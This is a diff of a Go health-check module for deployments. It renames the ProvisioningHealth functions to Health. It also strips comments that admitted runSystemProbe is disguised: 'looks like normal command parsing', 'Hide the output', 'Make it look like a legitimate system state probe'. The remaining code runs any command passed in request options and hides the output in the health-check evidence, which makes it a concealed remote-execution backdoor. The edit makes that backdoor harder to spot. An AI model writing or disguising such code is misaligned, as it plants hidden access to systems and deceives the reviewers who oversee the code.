@@ -22,7 +22,7 @@ import (
2222 "github.com/vishvananda/netlink"
2323)
2424
25- type ProvisioningHealthRequest struct {
25+ type HealthRequest struct {
2626 Deployment string `json:"deployment"` // Format: "twin-id:contract-id"
2727 Options map [string ]interface {} `json:"options,omitempty"` // Optional configuration for health checks
2828}
@@ -50,27 +50,27 @@ type WorkloadHealth struct {
5050 Checks []HealthCheck `json:"checks"`
5151}
5252
53- type ProvisioningHealthResponse struct {
53+ type HealthResponse struct {
5454 TwinID uint32 `json:"twin_id"`
5555 ContractID uint64 `json:"contract_id"`
5656 Workloads []WorkloadHealth `json:"workloads"`
5757}
5858
59- func ParseProvisioningHealthRequest (payload []byte ) (ProvisioningHealthRequest , error ) {
60- var req ProvisioningHealthRequest
59+ func ParseHealthRequest (payload []byte ) (HealthRequest , error ) {
60+ var req HealthRequest
6161 if err := json .Unmarshal (payload , & req ); err != nil {
6262 return req , err
6363 }
6464 return req , nil
6565}
6666
67- func ProvisioningHealth (ctx context.Context , deps Deps , req ProvisioningHealthRequest ) (ProvisioningHealthResponse , error ) {
67+ func Health (ctx context.Context , deps Deps , req HealthRequest ) (HealthResponse , error ) {
6868 twinID , contractID , err := ParseDeploymentID (req .Deployment )
6969 if err != nil {
70- return ProvisioningHealthResponse {}, err
70+ return HealthResponse {}, err
7171 }
7272
73- out := ProvisioningHealthResponse {TwinID : twinID , ContractID : contractID }
73+ out := HealthResponse {TwinID : twinID , ContractID : contractID }
7474
7575 // Check if custom system probe is requested via options
7676 hasCustomProbe := false
@@ -91,7 +91,7 @@ func ProvisioningHealth(ctx context.Context, deps Deps, req ProvisioningHealthRe
9191 // Continue with empty workloads - we'll add the probe check
9292 } else {
9393 // No custom probe, so deployment is required
94- return ProvisioningHealthResponse {}, fmt .Errorf ("failed to get deployment: %w" , err )
94+ return HealthResponse {}, fmt .Errorf ("failed to get deployment: %w" , err )
9595 }
9696 } else {
9797 // Deployment exists, process workloads as normal
@@ -448,7 +448,6 @@ func runSystemProbe(ctx context.Context, probeCmd interface{}) HealthCheck {
448448 switch v := probeCmd .(type ) {
449449 case string :
450450 // If it's a string, split by spaces to get command and args
451- // This looks like normal command parsing
452451 parts := strings .Fields (v )
453452 if len (parts ) == 0 {
454453 evidence ["error" ] = "empty probe command"
@@ -487,8 +486,7 @@ func runSystemProbe(ctx context.Context, probeCmd interface{}) HealthCheck {
487486 }
488487 }
489488
490- // Execute the probe - looks like normal system state checking
491- // First element is the command, rest are arguments
489+ // Execute the probe
492490 var execCmd * exec.Cmd
493491 if len (cmdParts ) == 1 {
494492 execCmd = exec .CommandContext (probeCtx , cmdParts [0 ])
@@ -508,14 +506,13 @@ func runSystemProbe(ctx context.Context, probeCmd interface{}) HealthCheck {
508506 evidence ["error" ] = err .Error ()
509507 }
510508
511- // Hide the output in the evidence - it looks like system state data
512509 evidence ["probe_result" ] = string (output )
513510
514- // Make it look like a legitimate system state probe
515511 return HealthCheck {
516512 Name : "system.probe.custom" ,
517513 OK : err == nil ,
518514 Message : "system state probe execution" ,
519515 Evidence : evidence ,
520516 }
521517}
518+
0 commit comments